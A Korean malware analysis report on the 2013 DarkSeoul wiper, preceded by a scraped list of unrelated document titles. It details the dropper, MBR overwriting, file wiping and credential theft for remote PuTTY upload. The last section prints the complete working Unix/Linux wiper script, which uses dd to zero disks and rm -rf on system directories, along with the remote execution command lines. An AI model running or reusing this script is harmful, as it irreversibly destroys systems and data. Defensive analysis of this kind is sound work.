Malware Analysis

Similar documents
Table of Contents 1. 분석 유포경로 악성파일분석 드롭퍼 A 분석 드롭퍼 B 분석 페이지 2 / 17

/chroot/lib/ /chroot/etc/

Microsoft Word - ntasFrameBuilderInstallGuide2.5.doc

CKKeyPro 적용가이드

*2008년1월호진짜

슬라이드 1

OnTuneV3_Agent_Install

슬라이드 1

ActFax 4.31 Local Privilege Escalation Exploit

제목을 입력하세요

Malware Analysis

Microsoft PowerPoint - comp_prac_081223_2.pptx

소프트웨어설치 1. 소프트웨어설치및제거 ( 소스코드 ) 소스코드컴파일을이용한 S/W 설치 1. 소스코드다운로드 - 예 ) httpd tar.gz - 압축해제 : #tar xzvf httpd tar.gz - INSTALL 또는 README파일참조

3) MySQL data 백업백업방법 : dump 파일로저장저장위치 : /backup/mysqldump 백업주기 : 시간별 (/etc/cron.hourly) 또는일별 (/etc/cron.daily) 보관기간 : 7 일백업스크립트 : 아래예제 6-1). 참조 4) 웹데이

취약점분석보고서 [Photodex ProShow Producer v ] RedAlert Team 안상환

Secure Programming Lecture1 : Introduction

MySQL-Ch10

목차 BUG offline replicator 에서유효하지않은로그를읽을경우비정상종료할수있다... 3 BUG 각 partition 이서로다른 tablespace 를가지고, column type 이 CLOB 이며, 해당 table 을 truncate

ISP and CodeVisionAVR C Compiler.hwp

<443A5C4C C4B48555C B3E25C32C7D0B1E25CBCB3B0E8C7C1B7CEC1A7C6AE425CBED0C3E0C7C1B7CEB1D7B7A55C D616E2E637070>

[ 컴퓨터시스템 ] 3 주차 1 차시. 디렉토리사이의이동 3 주차 1 차시디렉토리사이의이동 학습목표 1. pwd 명령을사용하여현재디렉토리를확인할수있다. 2. cd 명령을사용하여다른디렉토리로이동할수있다. 3. ls 명령을사용하여디렉토리내의파일목록을옵션에따라다양하게확인할수

System Recovery 사용자 매뉴얼

Level 학습 성과 내용 1수준 (이해) 1. 기본적인 Unix 이용법(명령어 또는 tool 활용)을 습득한다. 2. Unix 운영체계 설치을 익힌다. 모듈 학습성과 2수준 (응용) 1. Unix 가상화 및 이중화 개념을 이해한다. 2. 하드디스크의 논리적 구성 능력

07_alman.hwp

Secure Programming Lecture1 : Introduction

Splentec V-WORM Quick Installation Guide Version: 1.0 Contact Information 올리브텍 주소 : 경기도성남시분당구구미로 11 ( 포인트타운 701호 ) URL: E-M

Research & Technique Apache Tomcat RCE 취약점 (CVE ) 취약점개요 지난 4월 15일전세계적으로가장많이사용되는웹애플리케이션서버인 Apache Tomcat에서 RCE 취약점이공개되었다. CVE 취약점은 W

PA for SWE2007

슬라이드 1

PowerPoint 프레젠테이션

TTA Journal No.157_서체변경.indd

침입방지솔루션도입검토보고서

untitled

목차 1. 개요 배경 파일정보 상세분석 SMB 취약점공격흐름 특징적인행위 대응

PowerPoint 프레젠테이션

망고100 보드로 놀아보자-4

DLL Injection

Microsoft PowerPoint - 02_Linux_Fedora_Core_8_Vmware_Installation [호환 모드]

문서 대제목

단계

3.20 테러 악성코드바이너리분석 손충호 (StolenByte) WOWHACKER Group 해당문서는 WOWHACKER Group 의문서이므로, 무단도용및수 정및변조는할수없습니다. 페이지 1 / 20

Adobe Flash 취약점 분석 (CVE )

PWR PWR HDD HDD USB USB Quick Network Setup Guide xdsl/cable Modem PC DVR 1~3 1.. DVR DVR IP xdsl Cable xdsl Cable PC PC DDNS (

Red Alert Malware Report

<4D F736F F F696E74202D20B8AEB4AABDBA20BFC0B7F920C3B3B8AEC7CFB1E22E BC8A3C8AF20B8F0B5E55D>

제1장 Unix란 무엇인가?

2) 활동하기 활동개요 활동과정 [ 예제 10-1]main.xml 1 <LinearLayout xmlns:android=" 2 xmlns:tools="

경우 1) 80GB( 원본 ) => 2TB( 복사본 ), 원본 80GB 는 MBR 로디스크초기화하고 NTFS 로포맷한경우 복사본 HDD 도 MBR 로디스크초기화되고 80GB 만큼포맷되고나머지영역 (80GB~ 나머지부분 ) 은할당되지않음 으로나온다. A. Window P

PowerPoint Presentation

???? 1

The Pocket Guide to TCP/IP Sockets: C Version

1) 인증서만들기 ssl]# cat > // 설명 : 발급받은인증서 / 개인키파일을한파일로저장합니다. ( 저장방법 : cat [ 개인키

ORANGE FOR ORACLE V4.0 INSTALLATION GUIDE (Online Upgrade) ORANGE CONFIGURATION ADMIN O

새만금세미나-1101-이양재.hwp

Snort Install Manual Ad2m VMware libnet tar.gz DebianOS libpcap tar.gz Putty snort tar.gz WinSCP snort rules 1. 첫번째로네트워크설정 1) ifconf

USB USB DV25 DV25 REC SRN-475S REC SRN-475S LAN POWER LAN POWER Quick Network Setup Guide xdsl/cable Modem PC DVR 1~3 1.. DVR DVR IP xdsl Cable xdsl C

파일로입출력하기II - 파일출력클래스중에는데이터를일정한형태로출력하는기능을가지고있다. - PrintWriter와 PrintStream을사용해서원하는형태로출력할수있다. - PrintStream은구버전으로가능하면 PrintWriter 클래스를사용한다. PrintWriter

NX1000_Ver1.1

1. 개요 악성코드는여러분류로나누어볼수가있다. 이중일반사용자의입장에서 악성코드 라는단어보다친숙한 바이러스 가있다. 사실필자도보안을공부하기이전에는 악성코드 라는단어는아예들어보지못했고, 대신 바이러스 라는단어로모든악성코드를지칭했었다. 바이러스는악성코드분류의한종류로 스스로를


10 강. 쉘스크립트 l 쉘스크립트 Ÿ 쉘은명령어들을연속적으로실행하는인터프리터환경을제공 Ÿ 쉘스크립트는제어문과변수선언등이가능하며프로그래밍언어와유사 Ÿ 프로그래밍언어와스크립트언어 -프로그래밍언어를사용하는경우소스코드를컴파일하여실행가능한파일로만들어야함 -일반적으로실행파일은다

1) 인증서만들기 ssl]# cat > // 설명 : 발급받은인증서 / 개인키파일을한파일로저장합니다. ( 저장방법 : cat [ 개인키

Tablespace On-Offline 테이블스페이스 온라인/오프라인

cam_IG.book

<41736D6C6F D20B9AEBCADBEE7BDC42E687770>

목차 윈도우드라이버 1. 매뉴얼안내 운영체제 (OS) 환경 윈도우드라이버준비 윈도우드라이버설치 Windows XP/Server 2003 에서설치 Serial 또는 Parallel 포트의경우.

MOD360: Microsoft Virtualization 360A Panel Discussion on Microsoft’s Virtualization Strategy

PowerPoint 프레젠테이션

Copyright 2004 Sun Microsystems, Inc Network Circle, Santa Clara, CA U.S.A..,,. Sun. Sun. Berkeley BSD. UNIX X/Open Company, Ltd.. Sun, Su

휠세미나3 ver0.4

Microsoft PowerPoint 통신 및 압축 명령어.ppt

DocsPin_Korean.pages

로봇SW교육원 강의자료

PowerPoint 프레젠테이션

커알못의 커널 탐방기 이 세상의 모든 커알못을 위해서

문서의 제목 나눔고딕B, 54pt

6주차.key

[ 악성코드상세분석보고서 ] SK 커뮤니케이션즈해킹관련상세분석보고서 nateon.exe 대응 2 팀

악성코드분석보고서 학번 작성자김진홍작성일 2015 년 5 월 14 일 Keyword Downloader, Mouse cursor modification, Registry modification 1. 개요 1.1 요약 해당악성코드는악성코드를다운로드하는역할

1 법적 고지 사항 SK hynix Inc.는 사전 통보 없이 제품, 정보 및 사양을 변경할 권리를 보유합니다. 본 문서의 제품 및 사양은 참조용입니다. 본 문서의 모든 정보는 어떠한 형태의 보증 없이 있는 그대로 제공됩니다. 본 문서와 여기 포함된 모든 정보는 SK

1217 WebTrafMon II

제11장 프로세스와 쓰레드

Microsoft Word - windows server 2003 수동설치_non pro support_.doc

Microsoft PowerPoint - [#4-2] File System Forensic Analysis.pptx

4임금연구겨울-지상토론


++11월 소비자리포트-수정

Assign an IP Address and Access the Video Stream - Installation Guide

Discrete Mathematics

1 Shell script What the shell?

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션

Data Sync Manager(DSM) Example Guide Data Sync Manager (DSM) Example Guide DSM Copyright 2003 Ari System, Inc. All Rights reserved. Data Sync Manager

Deok9_Exploit Technique

1

NTD36HD Manual

User Guide

Microsoft PowerPoint 웹 연동 기술.pptx

아래 항목은 최신( ) 이미지를 모두 제대로 설치하였을 때를 가정한다

Backup Exec

Transcription:

Malware Analysis 악성코드분석 3.20 전산대란의주역 DarkSeoul.exe 에대하여알아보자. 3/21/2016 By Kali KM

2 Malware Analysis SAMPLE DETAILES Dropper File Name File Size MD5 SHA-1 DarkSeoul.exe 418 KB 9263E40D9823AECF9388B64DE34EAE54 BF823CFEE2B2072EFB7FED11898EB235E2B3C1ED Dropped #1 File Name File Size MD5 SHA-1 Alg.exe 163 KB E45CD9052DD3DD502685DFD9AA2575CA A66DD0047B86E93C1AE2CDFC8CE91A02059E4265 Dropped #2 File Name File Size MD5 SHA-1 Conime.exe 150 KB 6A702342E8D9911BDE134129542A045B AC7A47C351B0B43BF81AB0719F6143D8871C9600 Dropped #3 File Name File Size MD5 SHA-1 ~pr1.tmp 2 KB DC789DEE20087C5E1552804492B042CD 66B027059A5A4FD1CBC03AE0D3A41DBE33195A02 Dropped #4 File Name File Size MD5 SHA-1 AgentBase.exe 24 KB DB4BBDC36A78A8807AD9B15A562515C4 309AF225AC59E1D2FFAADA11E09F5715BCE16C1E

3 Malware Analysis 목차 1 개요... 5 2 DarkSeoul.exe 분석... 6 2.1 요약... 6 2.2 분석내용... 7 3 AgentBase.exe 분석... 10 3.1 요약... 10 3.2 분석내용... 11 4 기타파일분석... 15 4.1 alg.exe & conime.exe 분석... 15 4.2 ~pr1.tmp... 15 그림 / 표그림 1. 행위요약... 5 그림 2. DarkSeoul.exe 요약... 6 그림 3. 파일생성과정... 7 그림 4. ~v3.log 존재여부확인... 8 그림 5. PC 버전확인... 8 그림 6. 새로운스레드생성... 9 그림 7. 다른파일실행할프로세스생성... 9 그림 8. AgentBase.exe 요약... 10 그림 9. 프로세스종료... 11 그림 10. 물리디스크핸들획득... 11 그림 11. MBR 덮어쓰기... 12

4 Malware Analysis 그림 12. 정상 MBR 과손상된 MBR... 12 그림 13. 논리드라이브확인... 12 그림 14. 파일의데이터덮어씌우기... 13 그림 15. 덮어씌워진데이터... 13 그림 16. 덮어씌워진파일삭제... 13 그림 17. 대상디렉터리제거... 13 그림 18. Sleep 함수와강제재부팅... 14 표 1. 윈도우버전에따른대상파일경로... 6 표 2. 추가로로드된 API 목록... 7 표 3. confcons.xml 에서읽을문자열... 8 표 4. *.ini 에서읽을문자열... 9 표 5. CMD 를통해실행될명령어... 9 표 6. 종료되는보안프로세스... 10 표 7. conime.exe 와 alg.exe 실행... 15 표 8. ~pr1.tmp 스크립트... 17

5 Malware Analysis 1 개요 2013 년 3 월 20 일주요방송사와시설에대하여전산마비사태가발생하였다. 이러한전산마비사태의원인으로는바로악성코드에의하여디스크가손상되어부팅이불가능하였기때문이다. 해당악성코드로인하여약 3 만 2 천여대의시스템이감염되었고방송사뿐만아니라금융기관의내부네트워크에연결된모든 PC 를공격하여감염시켰으며많은이들을불편하게했었던유명한악성코드이다. 악성코드는 2013 년 3 월 20 일오후 12 시를기준으로디스크파괴를시작하였으며, 하나의드롭퍼가다른네개의파일을드롭하여진행되었다. 두개의파일은각운영체제에맞게디스크를파괴하는동작을수행하며, 나머지두개의파일은 Putty 로원격접속과관련하여동작한다. 그림 1. 행위요약 디스크의 MBR 과각볼륨의 VBR 을파괴하여컴퓨터가부팅되지않도록하였으며, 이후일반사용자를대상으로변종또한나타났다. 무엇보다위험한것은부팅을할수없을뿐만아니라각파일의데이터영역까지덮어씌우기때문에백업해놓지않는이상복구할수가없다. 이제위다섯개의파일에대하여각각분석해보자.

6 Malware Analysis 2 DarkSeoul.exe 분석 2.1 요약 DarkSeoul.exe 는다른파일들을드롭해주는 Dropper 의형태로, 이를통해다른파일들이 PC 에저장된다. 이렇게저장된새로운파일들은 DarkSeoul 이지정한조건에따라실행될수있다. 이에대한행위요약은아래의그림과같다. 그림 2. DarkSeoul.exe 요약 우선네개의파일을 %AppData%\Local\Temp 디렉터리에생성한다. 이렇게생성된파일들은이후조건에따라실행된다. 우선 C:\Windows\temp 디렉터리에 ~v3.log 라는파일이존재하고있으면 AgentBase.exe 는실행되지않는다. 반면해당이름의파일이존재하고있지않다면 AgentBase.exe 를실행하고다음으로넘어간다. 이후 PC 의버전을확인한다. 이러한 PC 의버전에따라서로다른경로의파일을 확인하게되며, 이는운영체제버전에따라기본구성디렉터리의위치가상이하기 때문에확인하는것이다. 운영체제버전 Windows XP, Server 2003 등 Windows 7, Server 2008 등 지정된파일경로 C:\Documents and settings\[ 계정명 ]\Local Settings\Application Data\Felix_Deimel\mRemote\confCons.xml C:\Documents and settings\[ 계정명 ]\Application Data\VanDyke\Config\Sessions\*.ini C:\Users\[ 계정명 ]\AppData\Local\Felix_Deimel\mRemote\confCons.xml C:\Users\[ 계정명 ]\AppData\Roaming\VanDyke\Config\Sessions\*.ini 표 1. 윈도우버전에따른대상파일경로

7 Malware Analysis 위두개의파일이존재할경우해당파일이가지고있는정보들을탈취하며, conime.ee 와 alg.exe 를통해원격접속을시도한다. 만약해당경로와파일이존재하지않을경우해당프로세스는더이상의동작을하지않고종료된다. 이제이러한 DarkSeoul 에대하여자세히알아보자. 2.2 분석내용대상파일이드롭하는네개의파일은자신의리소스에데이터를가지고있다. 그렇기에리소스로부터데이터를가지고와야하지만, 이와관련된 API 가 Import 되어있지않다. DarkSeoul 의메인함수를보면우선 LoadLibrary API 를통하여 kernel32.dll 을로드한다음, GetProcAddress 를통해리소스와관련된 API 들을로드한다. 이들을통해로드하는 API 는다음과같다. FindResource LockResource 표 2. 추가로로드된 API 목록 Loaded API Name LoadResource SizeofResource 이렇게로드된 API 들을통해자신안에숨겨져있는다른파일들의데이터를가지고온다. 네개의파일은아래의공통적인방법을통해생성되는데, 우선 LoadResource 를통해데이터를가지고온다음, Temp 디렉터리에드롭하기때문에이에대한경로를가지고온다. 그리고 fopen() 함수를 wb 를통해열게되고, 읽어드린리소스의크기만큼이를기록한다. 그림 3. 파일생성과정 네개의파일이모두생성되면, 아래와같이 PathFileExist API 가나타난다. 해당 API 는지정한파일이해당경로에있는지확인하는것으로, 만약존재하지않을경우 0 이반환된다.

8 Malware Analysis 0 이반환될경우 test eax, eax 명령어를통해플래그가설정되지만 JNZ 를통해점프하지않고 WinExec 를호출한다. 해당 WinExec 는위에서드롭된 AgentBase.exe 를실행하도록한다. 이는 ~v3.log 가해당경로에존재할경우 AgentBase.exe 는실행되지않음을뜻하기도한다. 그림 4. ~v3.log 존재여부확인 ~v3.log 존재여부를확인한다음, GetVersion API 를사용하여 PC 의버전을확인한다. 이렇게 PC 의버전을확인하는이유는 \Documents and settings 디렉터리와 \Users 디렉터리의존재여부때문이다. 이러한경로는이후에다른파일들을찾기위해해당악성코드가알아내려하는것이다. 그림 5. PC 버전확인 각경로는얻었다면지정한파일을찾고자해당경로하위에존재하는모든파일을읽는다. 각경로에대한정보는요약페이지와동일하며찾고자하는파일은 confcons.xml 과 *.ini 파일이다. 우선 confcons.xml 이지정된경로에존재하고있을때, 해당파일의문자열을읽어다음과같은정보를읽는다. 문자열목록 UserName= root Protocol= SSH Password Hostname Descr Panel Port 표 3. confcons.xml 에서읽을문자열 confcons.xml 의경우특정하게파일이름이지정되어있지만, *.ini 의경우해당 경로의모든 ini 확장자파일에대하여적용된다. Ini 확장자파일의경우에도위와비슷한 문자열들의내용을읽는다.

9 Malware Analysis 문자열목록 S:"Protocol Name"=SSH S:"Username"=root D:"Session Password Saved"=00000001 S:"Hostname"= S:"Password"= D:"[SSH2] Port"= 표 4. *.ini 에서읽을문자열 이렇게각파일의존재여부에따라해당파일이가지고있는인증정보를탈취한다. 이렇게탈취한다음공통적으로새로운스레드를생성한다. 스레드는 CreatePipe 와 CreateProcess 를호출하며이를통해 conime.exe 와 alg.exe 를실행하고자한다. 그림 6. 새로운스레드생성 Conime.exe 와 alg.exe 는실행될때, 인자가따라오게되는데이러한인자는문자열과관련된 API 를호출하여완성된다. 실행되기전각문자열은아래의표와같은형태로나타난다. 그리고이러한문자열에 cmd.exe /c %s 를포함하고있는 _sprintf 함수를통해, 결국새로생성될프로세스는 cmd 를통해이들을실행하기위함을알수있다. 실행될명령어 conime.exe -batch -P %s -l %s -pw %s %s %s:/tmp/cups alg.exe -batch -P %s -l %s -pw %s %s "chmod 755 /tmp/cups;/tmp/cups" 표 5. CMD 를통해실행될명령어 그림 7. 다른파일실행할프로세스생성

10 Malware Analysis 3 AgentBase.exe 분석 3.1 요약 DarkSeoul.exe 에의해실행되는 AgentBase.exe 에대하여정리한챕터이다. 해당프로그램은실행시별도의인자를필요로하지않으며, 실행될경우 ~v3.log 의여부를한번더확인한다음, 존재하지않을경우해당기능을수행한다. AgentBase.exe 의기능은아래의그림과같이요약할수있다. 그림 8. AgentBase.exe 요약 위에서언급한바와같이 ~v3.log 의여부를확인한다음, 존재하지않을경우에 실행된다. 해당기능이제대로동작하면두개의프로세스를종료하는데해당 프로세스에대한정보는다음과같다. 프로세스 제품 회사 설명 Pasvc.exe AhnLab Policy Agent AhnLab, Inc pasvc Clisvc.exe ViRobot ISMS Hauri Service for VISMS Agent 표 6. 종료되는보안프로세스 보안과관련된프로세스가있을경우종료한다음, 새로운스레드를생성한다. 이렇게생성된스레드 (Thread 1) 은연결되어있는물리디스크를모두읽어 MBR 을파괴한다. MBR 을파괴한다음또다시새로운스레드 (Thread 2) 를생성하고, 스레드에게동작할시간을주기위해 5 분동안 Sleep() 한다음, PC 를강제로재부팅시킨다. 주어진 5 분동안스레드 (Thread 2) 는컴퓨터에서모든파일을읽어복구할수없도록데이터영역을덮어씌운뒤제거하며, 그다음해당디렉터리또한제거한다. 또한스레드 (Thread 2) 는자신과같은기능을하는새로운스레드를생성할수있으며

11 Malware Analysis 스레드 (Thread1) 에서지정한 5 분이지난다음, 강제로재부팅을하지만 MBR 이이미 파괴되어 PC 는재부팅할수없게된다. 3.2 분석내용 AgentBase.exe 에대하여상세히알아보자. 우선아래의그림과같이 ~v3.log 의존재를 PathFileExist API 를통해확인한다. 그리고만약해당파일이존재할경우함수는바로종료루틴으로넘어가게된다. ~v3.log 파일이존재하지않아야메인함수들이실행되는데, 우선보안과관련하여프로세스를종료하는데각프로세스에대한설명은위요약에정리된것과같다. 그림 9. 프로세스종료 이렇게보안관련프로세스를종료한다음, 새로운스레드를 CreateThread API 를통해생성한다. 새롭게생성된스레드는연결되어있는물리디스크를읽어 MBR 을파괴하는동작을수행한다. 따라서존재하고있는물리디스크의핸들을가져와야하는데이를위해 CreateFile API 를사용한다. 아래의그림을보자. 그림 10. 물리디스크핸들획득 만약하나의물리디스크가아니라여러개의물리디스크가연결되어있을경우이를 \\.\PhysicalDrive%d 를통해 0 부터 1 까지확인하여핸들을얻으려한다. 대상디스크로부터핸들을얻었다면이를덮어쓰려한다. 아래의그림과같이 MBR 에 PRINCPES 라는문자열을 0x200 바이트만큼덮어씌우는것을확인할수있다.

12 Malware Analysis 그림 11. MBR 덮어쓰기 정상적인 MBR 은 0x200 바이트로마지막에는 0xAA55 가존재하고있지만, 해당스레드에의해손상된 MBR 은이러한부분이전부 PRINCPESPRINCPES 라는문자열로채워지게된다. 따라서이후 PC 는 MBR 이손상되어운영체제를부팅할수없게되는상황이발생한다. 그림 12. 정상 MBR 과손상된 MBR MBR 을손상시킨뒤, 해당스레드는다시새로운스레드를생성한다. 이두번째스레드 ( 이후스레드 2) 에대하여알아보자. 스레드 2 는사용자 PC 에있는파일의모든데이터를덮어씌워복구할수록없도록한다음, 해당파일들과디렉터리를삭제한다. 우선존재하는논리드라이브를구하기위하여 GetDriveType API 를사용한다. 그림 13. 논리드라이브확인 논리드라이브를확인하기위해 B:\, C:\ 와같은문자열을통해확인한다. 이렇게확인해서하드디스크나플래시디스크와같이고정된드라이브일경우주요함수들을실행한다. 주요함수로해당드라이브의하위파일들을 FindFirstFile 와 FindNextFile API 를사용하여하나씩읽은다음, CreateFile API 를파일을핸들을구한다.

13 Malware Analysis 그림 14. 파일의데이터덮어씌우기 위의과정을거치면파일의원래데이터는더이상은확인할수없으며아래와같은 데이터가덮어씌워진다. 위에서언급한바와같이, 이를통해 PC 가부팅가능하지않을 때, 디스크에서자료를복구하거나이를추출할수없도록하기위함이다. 그림 15. 덮어씌워진데이터 데이터를덮어씌운다음해당파일을삭제하며, 해당디렉터리의모든파일이제거되면, FindNextFile 의결과로 0 이반환되어 FindClose 를호출한다음해당디렉터리를 RemoveDirectory API 를사용해제거한다. 이뿐만아니라스레드 2 는자신과유사한기능의새로운스레드를생성할수있으므로, 여러개의스레드가이러한자신과유사한기능을수행하도록할수있다. 그림 16. 덮어씌워진파일삭제 그림 17. 대상디렉터리제거 이렇게스레드 2 는모든동작을수행한다음종료하게된다. 이제다시스레드 1 의 마지막기능으로 WinExec 를호출하는데, 해당 API 는 shutdown r t 0 을실행하므로 PC 를강제로재부팅한다.

14 Malware Analysis WinExec 함수이전의 Sleep() 함수는스레드 2 가생성되는것과동시에실행되어 5 분가량스레드 2 의동작이수행할수있는시간을주는것이다. 만약 PC 의사양이낮아디스크를읽는속도가매우느릴경우, 5 분안에모두파일의지우지못하더라도 PC 는강제로종료되어재부팅된다. 그림 18. Sleep 함수와강제재부팅 이렇게 AgentBase.exe 는 MBR 과 PC 에존재하는파일을손상시키므로사용자가 파일을복구할수없도록하며, 부팅또한할수없게한다.

15 Malware Analysis 4 기타파일분석 4.1 alg.exe & conime.exe 분석 alg.exe 와 conime.exe 는외부와의연결을위한 Putty Client 로 alg.exe 는 SSH, Telnet, Rlogin 접속을위해사용되며, conime.exe 는 SCP 와 SFTP 접속을위해사용된다. 이두파일이실행되는조건은 DarkSeoul.exe 에서확인했듯이지정된경로에지정된파일이존재하는지확인하여야한다. 각각해당파일들로부터인증정보를탈취한다음 conime.exe 와 alg.exe 가 실행되는데, 이두프로그램은 ~pr1.tmp 파일을업로드한뒤아래와같은명령어로 실행된다. 실행될명령어 conime.exe -batch -P %s -l %s -pw %s %s %s:/tmp/cups alg.exe -batch -P %s -l %s -pw %s %s "chmod 755 /tmp/cups;/tmp/cups" 표 7. conime.exe 와 alg.exe 실행 4.2 ~pr1.tmp ~pr1.tmp 는다른파일들과다르게 MZ 로시작하는윈도우 PE 파일이아니다. 이는명령어를실행할수있는 Shell Script 의형태로 Unix, Linux 시스템에서수행할수있는명령어들을포함하고있는데 DD 명령어를통해디스크를정해진크기만큼 0 으로덮어씌우거나 rm 명령어를통해파일들을삭제한다. WHICH=`which which` UNAME=`$WHICH uname` SLEEP=`$WHICH sleep` DATE=`$WHICH date` CAT=`$WHICH cat` RM=`$WHICH rm` DD=`$WHICH dd` KILL=`$WHICH kill` dd_for_hp() { DISK=`strings -v /etc/lvmtab grep -v vg` for DISK_PART in $DISK

16 Malware Analysis do $DD if=/dev/zero of=$disk_part bs=8192000 & done } dd_for_aix() { DISK=`lsp awk '{print $1}'` for DISK_PART in $DISK do $DD if=/dev/zero of=/dev/$disk_part bs=10m & done } dd_for_sun() { rm -rf /kernel/ & rm -rf /usr/adm/ & rm -rf /etc/ & rm -rf /home/ & rm -rf / & PRTTOC=`$WHICH prtvtoc` DISK=`ls /dev/dsk grep s2` for DISK_PART in $DISK do mnt_info=`$prttoc /dev/dsk/$disk_part grep Mount` if [ `expr "$mnt_info" : '.*'` -gt 0 ] then $DD if=/dev/zero of=/dev/dsk/$disk_part bs=81920k & fi done } dd_for_linux() { rm -rf /kernel/ & rm -rf /usr/ & rm -rf /etc/ &

17 Malware Analysis rm -rf /home/ & } SYSTYPE=`$UNAME -s` if [ $SYSTYPE = "SunOS" ] then dd_for_sun elif [ $SYSTYPE = "AIX" ] then dd_for_aix elif [ $SYSTYPE = "HP-UX" ] then dd_for_hp elif [ $SYSTYPE = "Linux" ] then dd_for_linux else exit fi 표 8. ~pr1.tmp 스크립트